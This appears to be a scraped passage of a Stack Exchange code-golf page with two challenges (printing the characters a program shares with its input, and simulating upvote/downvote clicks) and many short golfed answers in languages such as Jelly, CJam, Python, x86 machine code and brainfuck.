^((?:[^,]{3})+),(?!\1)([^,]+),(?!\1|\2,)([^,]+),(?!\1|(?:\2|\3),)([^,]+),(?!\1|(?:\2|\3|\4),)([^,]+),(?!\1|(?:\2|\3|\4|\5),)([^,]+),(?!\1|(?:\2|\3|\4|\5|\6),)([^,]+),(?!\1|(?:\2|\3|\4|\5|\6|\7),)([^,]+),(?=.\2+$)(?=.\3+$)(?=.\4+$)(?=.\5+$)(?=.\6+$)(?=.\7+$)(?=.\8+$)\1+$ ``` ]
[Question] [ ## Intro The challenge is to create a program/function that prints the intersection of its own source code and a given string input. This is code golf and to be more precise: * Let `I` be the input set + `{"a","b","c"}` * Let `S` be the source code set + `{"b","f"}` * Then the intersection is what they share + `I ∩ S = {"b"}` ## Input Input is flexible. It should be able to handle the character encoding used for the source code. ## Output Output is flexible. It should be the set of characters that the input and source code share. Also, [sets](https://en.wikipedia.org/wiki/Set_(mathematics)) are unordered collections of distinct objects. In summary: * Output is flexible: + Could be any data structure (string or otherwise) + Could unordered + Could have a trailing `\n` + Should be distinct ## Restriction Similar to [quine](/questions/tagged/quine "show questions tagged 'quine'") challenges, the program/function may not read its own source code and 0-byte solutions are not allowed. ## Examples * **#1** ``` functor x(I){ return I ∩ self; } Inputs Outputs ------ ------- enter preformatted text here -> {"e","n","t","r","f","o","x"} ["Albrt"," Einstin"] -> {"l","r","t","n","s"} ``` * **#2** ``` (_)->_&"(_)->&\"\\" Inputs Outputs ------ ------- "Security at the expense of -> " usability comes at the expense of security." (0____0) -> (_) ``` * **#3** ``` ಠa益длф Inputs Outputs ------ ------- Far out in the uncharted backwaters ->"a" of the unfashionable end of the Western Spiral arm of the Galaxy lies a small unregarded yellow sun. Orbiting this at a distance of roughly ninety-eight million miles is an utterly insignificant little blue-green planet whose ape-descended life forms are so amazingly primitive that they still think digital watches are a pretty neat idea. (ノಠ益ಠ)ノ彡┻━┻ ->"ಠ益" ``` ## Test Cases ``` Albert Einstein \__( O__O)_/ !@#$%^&*()_+{}|:"<>? 1234567890-=[]\;',./ (ノಠ益ಠ)ノ彡┻━┻ “¤>%,oỊȤʠ“ØụĊ5D³ṃṠɼQ»j;Ç;“;}¶” ┬──┬ ノ( ゜-゜ノ) Far out in the uncharted backwaters of the unfashionable end of the Western Spiral arm of the Galaxy lies a small unregarded yellow sun. Orbiting this at a distance of roughly ninety-eight million miles is an utterly insignificant little blue-green planet whose ape-descended life forms are so amazingly primitive that they still think digital watches are a pretty neat idea. ``` **Update** * [16-08-10]: [sets](https://en.wikipedia.org/wiki/Set_(mathematics)) are unordered collections of distinct objects * [16-08-10]: trailing newline is acceptable [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~10~~ 6 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` “Ṿf”Ṿf ``` [Try it online!](http://jelly.tryitonline.net/#code=4oCc4bm-ZuKAneG5vmY&input=&args=J-KAnOG5vmbigJ3hub5mIGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jw) ### How it works ``` “Ṿf”Ṿf Main link. Argument: s (string) “Ṿf” Set the return value to 'Ṿf'. Ṿ Uneval; yield '“Ṿf”'. f Filter; remove the characters from '“Ṿf”' that do not appear in s. ``` [Answer] ## Python 3, 44 bytes Thanks Karl for saving me one byte :-) Thanks Dada for saving me two bytes! I think this works, but it's my first quine challenge so I'm not 100% sure. :\ ``` print(set("printseu()&'"+'+"')&set(input())) ``` Lambda version with 43 bytes: `lambda a:set(" lambdaset()&'"+':+"')&set(a)` [Answer] # [Dyalog APL](http://goo.gl/9KrKoM), 8 [bytes](http://meta.codegolf.stackexchange.com/a/9429/43319) ``` '∩''⊢'∩⊢ ``` `∩` is returns those characters from the left argument that are present in the right argument (if the **left** argument has no duplicates – as in this case – then the result also has no duplicates `⊢` is the argument Then the string just has those two plus the quote character (doubled, as it is in a string). [TryAPL online!](http://tryapl.org/?a=%28%27%u2229%27%27%u22A2%27%u2229%u22A2%29%A8%27functor%20x%28I%29%7B%20return%20I%20%u2229%20self%3B%20%7D%27%20%271234567890-%3D%5B%5D%5C%3B%27%27%2C./%27%20%27%5C__%28%20O__O%29_/%27&run) [Answer] # GolfScript, 6 bytes ``` "`&"`& ``` [Try it online!](http://golfscript.tryitonline.net/#code=ImAmImAm&input=ImAmImAmIDEyMzQ1Njc4OTA) ### How it works ``` # (implicit) Push the input on the stack. "`&" # Push the string '`&' on the stack. ` # Inspect; turn the string into '"`&"'. & # Perform set intersection. ``` [Answer] # Python 2, ~~56~~ ~~46~~ 39 Bytes *-1 Byte thanks to @Jeremy* ``` lambda a:set(':&()smelt\ bad\'')&set(a) ``` anonymous lambda function, takes a string, returns a set old version: ``` lambda x,w=set('newmatrixbuspdl_:-)(=,\ \''):w-(w-set(x)) ``` [Answer] # [Perl 6](http://perl6.org), 56, 55 bytes **"*French*" / Unicode version** (55 bytes) ``` say perl q.say perlq∩$*IN\\\.comb:..comb∩$*IN.comb: ``` **"*Texas*" / ASCII versions** (56 bytes) ``` say (q.sayq(&) $*IN\\\.combperl..comb (&)$*IN.comb).perl ``` ``` say perl q.sayq(&) $*IN\\\.comb:perl..comb (&)$*IN.comb: ``` # Non-golfed: ``` my \Source = 'my \\Source = \'say ( $*IN.comb.Set ∩ Source.comb.Set ).perl\''; say ( $*IN.comb.Set ∩ Source.comb.Set ).perl ``` # Examples: ``` $ echo -n 'say perl q.say perlq∩$*IN\\\.comb:..comb∩$*IN.comb:' > test-unicode.p6 $ echo -n 'say (q.sayq(&) $*IN\\\.combperl..comb (&)$*IN.comb).perl' > test-ascii.p6 $ perl6 test-ascii.p6 <<< 'abcdefghijklmnopqrstuvwxyz' set("p","a","l","r","c","q","b","s","e","m","y","o") $ perl6 test-unicode.p6 < test-unicode.p6 set("\\","I","p"," ","a","c","l","r","q","b","∩","*","s","m","e",".","y",":","o","N","\$") $ perl6 test-ascii.p6 < test-ascii.p6 set("p","\\","I"," ","a","l","r","c","q","b",")","*","s","e","m","\&",".","(","y","o","N","\$") $ perl6 test-ascii.p6 < test-unicode.p6 set("p","\\","I"," ","a","l","r","c","q","b","*","s","e","m",".","y","o","N","\$") $ perl6 test-unicode.p6 <<< 'Albert Einstein' set(" ","l","r","b","s","e") $ perl6 test-unicode.p6 <<< '\__( O__O)_/' set("\\"," ") $ perl6 test-ascii.p6 <<< '!@#$%^&*()_+{}|:"<>?' set(")","*","\&","(","\$") $ perl6 test-unicode.p6 <<< "1234567890-=[]\\;',./" set("\\",".") $ perl6 test-unicode.p6 <<< '(ノಠ益ಠ)ノ彡┻━┻' set() “¤>%,oỊȤʠ“ØụĊ5D³ṃṠɼQ»j;Ç;“;}¶” set("o") $ perl6 test-unicode.p6 <<< '┬──┬ ノ( ゜-゜ノ)' set(" ") $ perl6 test-ascii.p6 <<< 'Far out in the uncharted backwaters of the unfashionable end of the Western Spiral arm of the Galaxy lies a small unregarded yellow sun. Orbiting this at a distance of roughly ninety-eight million miles is an utterly insignificant little blue-green planet whose ape-descended life forms are so amazingly primitive that they still think digital watches are a pretty neat idea.' set("p"," ","a","l","r","c","b","s","e","m",".","y","o") ``` [Answer] # [MATL](https://github.com/lmendo/MATL), 8 bytes ``` 'X&'''X& ``` [**Try it online!**](http://matl.tryitonline.net/#code=J1gmJycnWCY&input=J0xldHRlciAnJ1gnJyBpcyBYLXRyYSBmdW4hJw) Input is a string enclosed in single quotes. If the string contains a single-quote symbol, it should be duplicated to escape it. ### Explanation ``` 'X&''' % Push string with the three characters used by the program. The single-quote % symbol needs to be escaped by duplicating it X& % Take input implicitly. Set intersection. Display implicitly ``` [Answer] ## Actually, 6 bytes ``` `∩è`è∩ ``` [Try it online!](http://actually.tryitonline.net/#code=YOKIqcOoYMOo4oip&input=ImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6XCInYCI) Explanation: ``` `∩è`è∩ `∩è` push the function `∩è` (which contains every character in the source code except '`') è repr (same as Python repr - leaves "`∩è`", which contains every character in the source code) ∩ set intersection with input ``` [Answer] # C, 142 bytes ``` main(i){char*p,a[]="remain([*]){fought?>:01;,\\\"=capsv+-l}";for(;(i=getchar())>=0;p?putchar(i),memmove(p,p+1,a+strlen(a)-p):0)p=strchr(a,i);} ``` [Try it on ideone](http://ideone.com/sdlhRR). [Answer] # Haskell (30 bytes) This is such a boring solution... But I couldn't do better. :( ``` filter(`elem`"f(term)\"i`l\\") ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 23 bytes ``` :{e.~e":{}e~\"fd\."}fd. ``` [Try it online!](http://brachylog.tryitonline.net/#code=OntlLn5lIjp7fWV-XCJmZFwuIn1mZC4&input=IiFAIyQlXiYqKClfK3t9fDpcIjw-PzpcOiI&args=Wg) ### Explanation ``` :{ }f Find all chars that verify the predicate below d. Remove duplicates and output e. Take a char from the input ; this is our output… ~e":{}e~\"fd\." … if that char is in the string :{}e~"fd. (the first \ is here to escape the ") ``` [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), 11 bytes Code: ``` "'ÃJÙ"'"JÃÙ ``` Uses the **CP-1252** encoding. [Try it online!](http://05ab1e.tryitonline.net/#code=IifDg0rDmSInIkrDg8OZ&input=SGVsbG8sICInw4NKIiciSsODLCBXb3JsZCE). [Answer] # CJam, 8 bytes ``` "`q&"`q& ``` [Try it here.](http://cjam.aditsu.net/#code=%22%60r%26%22%60r%26) Explanation: ``` "`q&" e# Push that string to the stack ` e# Stringify, pops the string and pushes "\"`r&\"" to the stack q e# Pushes the input to the stack & e# Union, pops two elements and pushes a list of every element that is contained in both. ``` [Answer] # [Pyth](https://github.com/isaacg1/pyth), ~~9~~ 8 bytes **1 byte thanks to Sp3000** ``` @Q"\Q@\" ``` [Try it online!](http://pyth.herokuapp.com/?code=%40Q%22%5CQ%40%5C%22&input=%22+%21%5C%22%23%24%25%26%27%28%29%2a%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ%5B%5C%5D%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D~+%21%5C%22%23%24%25%26%27%28%29%2a%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ%5B%5C%5D%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D~%22&debug=0) ``` @Q"\Q@\" @Q"\Q@\"" implicit string ending @Q intersect the input with "\Q@\"" the string containing '\', 'Q', '@', '"'. ``` [Answer] # Retina, ~~21~~ 20 bytes Removes characters not in the source code, then removes duplicate characters. ``` [^Ds.n\n[-a_-] Ds`. ``` [**Try it online**](http://retina.tryitonline.net/#code=W15Ecy5uXG5bLWFfLV0KCkRzYC4&input=RApgCl4Kbg) [Answer] # Mathematica, 35 bytes ``` Characters@"\"#&@C\acehrst⋂"⋂#& ``` Anonymous function. Ignore any generated messages. Takes a list of characters as input and returns a list of characters as output. The Unicode character is U+22C2 for `\[Intersection]`. [Answer] # C#, 36 bytes ``` s=>s.Intersect("s=>.Interc(\"\\);"); ``` Intended cast is `Func<string, IEnumerable<char>>` (`string` input, `IEnumerable<char>` output). [Answer] # Vim, ~~78 68 78 79~~ 61 keystrokes Completely changed my approach: ``` oo/\$kjxd<esc>/o<cr>xj$/\/<cr>xj$/\\<cr>xj$/$<cr>xj$/k<cr>xj$/x<cr>xj$/j<cr>xj$/d<cr>xkdd ``` How it works: First, it makes a line with all the program characters, then, it finds the first instance of each of the program characters, which is either in the input, if the input and output intersect, or the output if they don't, deletes it, moves to the last character of the file (so it wraps around) and does that for each unique character in source, except d, where instead of moving to the end of the file, it finishes up by deleting the input [Answer] # [Bash](https://www.gnu.org/software/bash/), ~~45 50 41 39 37 34~~ 29 bytes -9 bytes thanks to Geoff Reedy -4 bytes thanks to Dennis -5 bytes thanks to Nahuel Fouilleul ``` grep -o '[] [|\'\'grepouniq-] ``` [Try it online!](https://tio.run/##S0oszvj/P70otUBBN19BPTpWIbomRj1GHSSSX5qXWagb@/9/anpBUWIMAA "Bash – Try It Online") [Answer] ## PowerShell v4+, ~~122~~ 104 bytes ``` ([char[]]($args[0]+'acegfhmnoprstu012|][()"?+_,.$-{0}{1}{2}'-f("'","}","{"))|group|?{$_.count-gt1}).name ``` Ugh. Quines or quine-like code in PowerShell sucks, because the string replacement formatting is so clunky. The string `ace...{2}` in the middle is every character that's present in the rest of the code. The `{0}{1}{2}` is used in conjunction with the `-f`ormat operator to pull the `'{}` characters into the string. That's combined as a char-array with the input `$args`, then fed into the pipeline. The first stop is `Group-Object` which (essentially) creates a hashtable of the input objects and how many times they occur in the input. That's piped to `|?{...}` the `Where-Object` to only select those items that have a `.count` greater than `1`. We encapsulate that in parens, and pluck out the `.Name` portion of the hashtable (which is where the v4+ requirement comes into play, otherwise we'd need an additional `|Select Name` stage to the pipeline). Those elements are left on the pipeline (as an array), and printing is implicit. [Answer] ## Python 2, 44 bytes ``` x='c=set;print c(`x`)&c(raw_input())';exec x ``` Just for fun, here's a quine-like full program submission. Outputs the string representation of a Python 2 set. [Answer] ## JavaScript (ES6), ~~59~~ 57 bytes ``` f= t=>[..."\"().=>O[\\]defilnrtx~"].filter(e=>~t.indexOf(e)) ; ``` ``` <input placeholder=Input oninput=o.value=f(this.value).join``><input placeholder=Output id=o> ``` Returns an array of characters present in both the original string/character array and the source code. Edit: Saved 2 bytes thanks to @user81655. [Answer] # Matlab, 37 bytes Quite simple: Uses the builtin `intersect` to find the intersection. The source code is hard coded. Input must be given inside quotation marks `''` ``` intersect(input(''),'''intersc(pu),') ``` [Answer] ## sed, 47 characters ``` :s;st[^])(*\1.s2t:[;^]tt;st\(.\)\(.*\1\)t\2t;ts ``` I'm a little disappointed at how long this came out to be, especially the bit to remove repeated characters. [Answer] # JavaScript (Chrome 58 on OS X 10), ~~12654~~ ~~12426~~ 11992 Bytes ~~<https://paste.ubuntu.com/25593218/>~~ ~~<https://paste.ubuntu.com/25595798/>~~ <https://paste.ubuntu.com/25595831/> The original code: ``` var t=prompt();"!+()[]".split("").forEach(function(f){if(t.includes(f))alert(f)}) ``` This was then converted into a programming style called jsfk which only uses these six characters: ``` (+)[!] ``` using an online compiler. [Answer] # R, 129 bytes ``` f=function(s){b=strsplit("f=unctio(s){arpl;,[1]b\\\"qemh0T}",c())[[1]];cat(b[unique(pmatch(strsplit(s,c())[[1]],b,0,T))],sep="")} ``` If I ungolf it, it needs to have weird things changed like a newline in the string for `b`. Anyhow, its super simple -- builds a vector with all characters in the function in it. Then it pulls the input into a vector, and checks membership. [Answer] # Ruby, 34 + `n` flag = 35 bytes Doesn't exactly work with multi-lined input, since `-n` causes the program to process STDIN line-by-line. There aren't newlines in this code, but trying to input something like that will output multiple arrays instead of one. If that is not good according to spec, please inform me and I will fix. ``` p $_.chars&"\\\"p $_.chars&".chars ``` [Answer] ## [ListSharp](https://github.com/timopomer/ListSharp), 222 bytes ``` STRG S=READ[<here>+"\\S.txt"] ROWS T=ROWSPLIT S BY [""] ROWS R=ROWSPLIT "STRG =EAD[<her>+\".tx]OWPLIBYCFMHVNc#isn()oay\r\n" BY [""] ROWS R=SELECT FROM T WHERE[EVERY STRG IS ANY STRG IN R] SHOW=<c#R.Distinct().ToArray()c#> ``` ***ridiculous but im entertained*** [Answer] ## Java 8 lambda, ~~152~~ ~~142~~ 140 characters Quite short: ``` s->s.chars().mapToObj(i->(char)i).filter(c->"COSTab\"\\cefh(i)j+l-mn.oprstuv>".contains(""+c)).collect(java.util.stream.Collectors.toSet()) ``` Or ungolfed over here: ``` public class Q89400 { static Set<Character> inAndQuine(String in) { return in.chars() .mapToObj(i->(char)i) .filter(c->"COSTab\"\\cefh(i)j+l-mn.oprstuv>".contains(""+c)) .collect(java.util.stream.Collectors.toSet()); } } ``` Of course the ungolfed solution is wrong, as it doesn't match the curly brackets and some more characters, it's just their for the sake of completeness. The function takes input as a `String` and returns a `java.util.Set<Character>` containing the characters which are present in both input and source. **Updates** It turned out that the solution wasn't working. I thought `String#contains` tests for a regex match but it is just a literal matching. I added some escaping to quote the characters like `.` but this wasn't necessary but ruined everything instead. Now without this escaping we save some characters and now it actually works :) Thanks to @NonlinearFruit for reminding me of using one-character variables. [Answer] # [SQF](https://community.bistudio.com/wiki/SQF_syntax), ~~71~~ ~~69~~ 64 bytes Using the file-as-a-function format: ``` i="-_h ;""=()sSplitrng"splitString"";i-(i-(_this splitString"")) ``` Call as `"STRING" call NAME_OF_COMPILED_FUNCTION` ]
[Question] [ Write a program or function that takes in a string only containing the characters `^` and `v` (you can assume there will be no other characters). Read from left to right this string represents the sequence of mouse clicks a single user made while viewing a [Stack Exchange](https://stackexchange.com/) question or answer for the first time. Every `^` represents a click of the [upvote](https://stackoverflow.com/help/privileges/vote-up) button and every `v` represents a click of the [downvote](https://stackoverflow.com/help/privileges/vote-down) button. (For working examples look slightly left.) Assume that no [voting limitations](https://meta.stackexchange.com/questions/5212/what-are-the-limits-on-how-i-can-cast-change-and-retract-votes) are in effect so all the clicks are registered correctly. Print or return: * `1` or `+1` if the post ends up being upvoted. * `0` if the post ends up not being voted on. (`-0` and `+0` are not valid) * `-1` if the post ends up being downvoted. Posts start with zero net votes from the user and the buttons change the net votes as follows: ``` Net Votes Before Button Pressed Net Votes After 1 ^ 0 1 v -1 0 ^ 1 0 v -1 -1 ^ 1 -1 v 0 ``` The shortest code in bytes wins. **Test cases:** ``` [empty string] -> 0 ^^ -> 0 ^v -> -1 ^ -> 1 v -> -1 v^ -> 1 vv -> 0 ^^^ -> 1 vvv -> -1 ^^^^ -> 0 vvvv -> 0 ^^^^^ -> 1 vvvvv -> -1 ^^^^^^ -> 0 vvvvvv -> 0 ^^v -> -1 ^v^ -> 1 ^vv -> 0 vv^ -> 1 v^v -> -1 v^^ -> 0 ^vvv^^vv^vv^v^ -> 1 ^vvv^^vv^vv^v^^ -> 0 ^vvv^^vv^vv^v^^^ -> 1 ^vvv^^vv^vv^v^^v -> -1 ^vvv^^vv^vv^v^^vv -> 0 ^vvv^^vv^vv^v^^vvv -> -1 ^vvvvvvvvvvvv -> 0 ^^vvvvvvvvvvvv -> 0 ^^^vvvvvvvvvvvv -> 0 vvv^^^^^^^^^^^^ -> 0 vv^^^^^^^^^^^^ -> 0 v^^^^^^^^^^^^ -> 0 ``` [Answer] ## [Gol><> 0.3.11](https://github.com/Sp3000/Golfish/wiki), ~~13~~ ~~12~~ 11 bytes ``` iEh`^=:@)+M ``` [Try it online](https://golfish.herokuapp.com/?code=iEh%60%5E%3D%3A%40%29%2BM&input=%5Evvv%5E%5Evv%5Evv%5Ev%5E%5Evvv&debug=false). Even though this will work fine in the next update, I've listed it as 0.3.11 just in case. ### Explanation ``` i Read char Eh If EOF, halt and output top of stack as num `^= Push 1 if char is ^, else 0 :@ Dup and rotate, giving [is^ is^ votecount] ) Compare greater than, pushing 1 or 0 as appropriate +M Add and subtract 1 ``` Note that the first use of `@` pulls a 0 from the bottom of the stack to initialise the vote count for the first iteration To illustrate with a full table: ``` Votes before Button Is ^? Compare < Add Subtract 1 1 ^ 1 0 1 0 1 v 0 0 0 -1 0 ^ 1 1 2 1 0 v 0 0 0 -1 -1 ^ 1 1 2 1 -1 v 0 1 1 0 ``` [Answer] # JavaScript (ES7), ~~47~~ ~~46~~ ~~44~~ ~~43~~ ~~37~~ 36 bytes [Crossed out 44 is still regular 44 :(](https://codegolf.stackexchange.com/a/62833/45393) ``` s=>[for(x of s)s=x<"v"?s!=1:!~s-1]|s ``` Keeps a running total in `s`. Uses `for of` loop to iterate over each character in the string and updates `s` based on current character and previous value. Edits: Golfed `~s&&-1` to `!~s-1`. This expression has to equal 0 if `s` equals -1 and -1 otherwise. Saved 6 bytes thanks to @nderscore. How the expression works: ``` ~s // Bitwise inverse. ~s==0 only if s==-1 ! // Logical negate. Casts to boolean. Equivalent to s==-1 -1 // Subtract. Casts to number so true-1 is 1-1 and false-1 is 0-1 ``` [Answer] # x86 machine code, 24 bytes ``` 31 C0 8A 11 84 D2 75 07 C0 E0 02 C0 F8 06 C3 41 38 C2 74 EC 88 D0 EB EA ``` This is a function using the fastcall calling convention, which takes a string and returns an 8-bit integer. I tested it with the following C program, which must be compiled for 32-bit mode. ``` #include <stdio.h> #include <inttypes.h> __attribute__ ((aligned (16))) const unsigned char fun[] = { 0x31, //xor eax,eax 0xC0, 0x8A, //mov [ecx],dl 1 | 2<<3, 0x84, //test dl, dl 0xC0 | 2<<3 | 2, 0x75, // jnz 7, 0xC0, //shl al 2 0xC0 | 4<<3, 2, 0xC0, //sar al 6 0xC0 | 7<<3, 6, 0xC3, //ret 0x41, //inc ecx 0x38, //cmp al,dl 0xC0 | 2, 0x74, //je -20, 0x88, //mov dl,al 0xC0 | 2<<3, 0xEB, //jmp -22, }; int main() { __fastcall int8_t (*votesimulator)(char*) = fun; char* s[] = { "", "^^", "^v", "^", "v", "v^", "vv", "^^^", "vvv", "^^^^", "vvvv", "^^^^^", "vvvvv", "^^^^^^", "vvvvvv", "^^v", "^v^", "^vv", "vv^", "v^v", "v^^", "^vvv^^vv^vv^v^", "^vvv^^vv^vv^v^^", "^vvv^^vv^vv^v^^^", "^vvv^^vv^vv^v^^v", "^vvv^^vv^vv^v^^vv", "^vvv^^vv^vv^v^^vvv", "^vvvvvvvvvvvv", "^^vvvvvvvvvvvv", "^^^vvvvvvvvvvvv", "vvv^^^^^^^^^^^^", "vv^^^^^^^^^^^^", "v^^^^^^^^^^^^", }; for(int i = 0; i < sizeof(s)/sizeof(*s); i++) printf("%d\n", votesimulator(s[i])); printf("\n%d\n", sizeof(fun)); for(int i = 0; i < sizeof(fun); i++) printf("%02X ", fun[i]); return 0; } ``` [Answer] # CJam, ~~18~~ 14 bytes Updated version with significant improvements contributed by Dennis: ``` 0'jqf{-g_@=!*} ``` [Try it online](http://cjam.aditsu.net/#code=0'jqf%7B-g_%40%3D!*%7D&input=%5Evvv%5E%5Evv%5Evv%5Ev%5E%5Ev) Explanation: ``` 0 Start value for running total. 'j Push character between '^ and 'v for use in loop. q Get input. f{ Apply block with argument to all input characters. - Subtract character from 'j. This will give -12 for '^, 12 for 'v. g Signum, to get 1 for '^, -1 for 'v, which is our increment value. _ Copy increment value. @ Bring running total to top. = Compare. This will give 1 for the -1/-1 and 1/1 combinations where the new running total is 0. Otherwise, the new running total is the increment value. ! Negate to get 0 for the -1/-1 and 1/1 cases. * Multiply result with increment value, to get new running total. } End block applied to input characters. ``` [Answer] ## Befunge 93 - 55 bytes ``` vj#p01:>#<:1+| >~:10g-|v:g25< ^p01"j"<1^ < ./*34-g0<@ ``` 52 characters and 3 new lines. Tested on [this interpreter](http://www.quirkster.com/iano/js/befunge.html). The `j` is equidistant from `^` and `v` in ascii so it's used to make arithmetic conversions in the end, rather than space consuming conditionals. [Answer] # brainfuck, 146 bytes ``` ,[[>->+<<-]>[[-]>[<+>-]]>[-]<<[<],]----[>-----<--]--[>>+<<++++++]+>[<-]<[->>++.<++++[<------>-]]>[<+<<]----[>+++++<--]>[,+<]>>[<<]-[>+<-----]>---. ``` This program takes each byte of input and compares it against the last. If they're the same, it throws the input away and stores "0" as the "previous input", otherwise it saves it normally. If the final result is `v`, it prints `-`. If the final result was non-zero, 1 is added to an empty cell. Finally, 48 is added to that cell and it is printed. [Answer] # Javascript ES6, ~~91~~ 48 chars ``` s=>~~{'^':1,v:-1}[s.replace(/(.)\1/g).slice(-1)] ``` Explanation: `undefined` ends by `d`. Test: ``` ` -> 0 ^^ -> 0 ^v -> -1 ^ -> 1 v -> -1 v^ -> 1 vv -> 0 ^^^ -> 1 vvv -> -1 ^^^^ -> 0 vvvv -> 0 ^^^^^ -> 1 vvvvv -> -1 ^^^^^^ -> 0 vvvvvv -> 0 ^^v -> -1 ^v^ -> 1 ^vv -> 0 vv^ -> 1 v^v -> -1 v^^ -> 0 ^vvv^^vv^vv^v^ -> 1 ^vvv^^vv^vv^v^^ -> 0 ^vvv^^vv^vv^v^^^ -> 1 ^vvv^^vv^vv^v^^v -> -1 ^vvv^^vv^vv^v^^vv -> 0 ^vvv^^vv^vv^v^^vvv -> -1 ^vvvvvvvvvvvv -> 0 ^^vvvvvvvvvvvv -> 0 ^^^vvvvvvvvvvvv -> 0 vvv^^^^^^^^^^^^ -> 0 vv^^^^^^^^^^^^ -> 0 v^^^^^^^^^^^^ -> 0` .split("\n").map(s => s.split(" -> ")) .every(([s,key]) => (s=>~~{'^':1,v:-1}[s.replace(/(.)\1/g).slice(-1)])(s)==key) ``` Answer history: ``` s=>({'':0,'^':1,v:-1}[s.replace(/^(.)\1(\1\1)*(?=.?$)|.*(.)(((?!\3).)\5)+/,"").substr(-1)]) s=>~~{'^':1,v:-1}[s.replace(/^(.)\1(\1\1)*(?=.?$)|.*(.)(((?!\3).)\5)+/,"").substr(-1)] s=>~~{'^':1,v:-1}[s.replace(/^.*(.)(((?!\1).)\3)+|(.)\4(\4\4)*/,"").substr(-1)] s=>~~{'^':1,v:-1}[s.replace(/^.*(.)(((?!\1).)\3)+|(.)\4(\4\4)*/,"").slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/.*(.)(((?!\1).)\3)+|(.)\4(\4\4)*/,"").slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/.*(.)(((?!\1).)\3)+|((.)\5)*/,"").slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/((.)\2)+/g,"!").slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/(.)\1/g,"!").slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/(.)\1/g,0).slice(-1)] s=>~~{'^':1,v:-1}[s.replace(/(.)\1/g).slice(-1)] ``` [Answer] ## Python 2, 49 ``` lambda s:reduce(lambda x,c:cmp(cmp('u',c),x),s,0) ``` Iterates through with the update function ``` lambda x,c:cmp(cmp('u',c),x) ``` that takes the current vote count `x` and the new character `c` and outputs the new vote count. The idea is to use Python 2's `cmp` function, which compares its two args and gives `-1, 0, 1` for `<, ==, >` respectively. The inner one `cmp('u',c)` gives `-1` for `v` and `1` for `^`; any character between them suffices for `'u'`. The outer one then compares that to `x`, which gives `cmp(1,x)` for `^` and `cmp(-1,x)` for `v`, which have the right values. Direct iteration was 3 chars longer (52), though would be one char short (48) if taking an `input()` with quotes was allowed. ``` x=0 for c in raw_input():x=cmp(cmp('u',c),x) print x ``` The best recursive function I found was one char longer (50) ``` f=lambda s:len(s)and cmp(cmp('u',s[-1]),f(s[:-1])) ``` [Answer] # Prolog, ~~159~~ 152 bytes **Code:** ``` v(1,^,0). v(1,v,-1). v(0,^,1). v(0,v,-1). v(-1,^,1). v(-1,v,0). r(X,[H|T]):-T=[],v(X,H,Z),write(Z);v(X,H,Z),r(Z,T). p(S):-atom_chars(S,L),r(0,L). ``` **Test it yourself:** Online Interpreter [here](http://swish.swi-prolog.org/) **Example** ``` >p("^vvv^^vv^vv^v^^vvv"). -1 >p("^vvv^^vv^vv^v^") 1 ``` **Edit:** Saved 7 bytes by unifying r-clauses with OR. [Answer] # CJam, 16 bytes ``` 0re`W=(2%*c'a--g ``` This will [crash after printing **0**](http://meta.codegolf.stackexchange.com/q/4780), if applicable. The error can be suppressed with the Java interpreter. If you [try this online](http://cjam.aditsu.net/#code=0re%60W%3D(2%25*c'a--g&input=%5Evvv%5E%5Evv%5Evv%5Ev%5E), ignore everything but the last line of output. ### How it works ``` 0 e# Push a 0 on the stack. r e# Read a whitespace-separated token from STDIN. e` e# Perform run-length encoding. W= e# Select the last [repetitions character] pair. e# This will fail for the empty string, so the e# interpreter will print the stack's only element (0). ( e# Shift out the number of repetitions. 2% e# Compute its parity. * e# Create a string, repeating the character 1 or 0 times. c e# Cast to character. e# This will fail for a zero-length string, so the e# interpreter will print the stack's only element (0). 'a- e# Subtract the character 'a' from '^' or 'v'. - e# Subtract the difference (integer) from 0. g e# Apply the sign function. ``` [Answer] # Python 2, 177 159 72 bytes Still kinda new to this code golf thing. ``` def v(s): c=0 for i in s:c=((0,1)[c<1],(0,-1)[c>-1])[i=="^"] return c ``` **EDIT:** Fixed the incorrect behavior. **EDIT 2:** Thanks @MorganThrapp for shaving off lots of bytes. [Answer] # JavaScript (ES6), ~~64~~ ~~59~~ ~~58~~ 52 bytes ``` f=v=>(t=/\^*$|v*$/.exec(v)[0]).length*(t<'v'?1:-1)%2 ``` This is based on the observation that only the last stretch of the repetition (of either `^` or `v`) affects the result. *Thanks to [Neil](https://codegolf.stackexchange.com/users/17602/neil) for golfing off 6 bytes.* [Answer] # Haskell, 40 bytes ``` 1%'^'=0 _%'^'=1 1%_=-1 _%_=0 v=foldl(%)0 ``` [Answer] # Scala, 75 bytes ``` def d(s:String)=s./:(0){case(1,94)|(-1,'v')=>0;case(_,94)=> 1;case _=> -1} ``` Test for implemented function. ``` object Util { def d(s: String) = s./:(0) { case (1, '^') | (-1, 'v') => 0 case (_, '^') => 1 case (_, _) => -1 } def main(s: Array[String]): Unit = { println("1 == " + d("^vvv^^vv^vv^v^^^")) println("1 == " + d("^vvv^^vv^vv^v^")) println("-1 == " + d("^vvv^^vv^vv^v^^vvv")) println("0 == " + d("^^^vvvvvvvvvvvv")) println("0 == " + d("vvv^^^^^^^^^^^^")) } } ``` [Answer] # APL, 17 ``` (⊣×≠)/⌽0,2-'^ '⍳⍞ ``` For interpreters without fork notation (like GNU APL), it would be `{⍺×⍺≠⍵}/⌽0,2-'^ '⍳⍞` (19). This is probably the most boring of possible solutions because it works directly from the definition of the problem. [Answer] # Ruby, ~~41~~ 35 bytes Regex. Only the last button pressed is interesting, so check the run-length of that. Then compare it to `"a"` (or any letter between `^` and `v`) to get `1` or `-1`. ``` ->s{s[/(.?)\1*$/].size%2*(?a<=>$1)} ``` [Answer] # C# 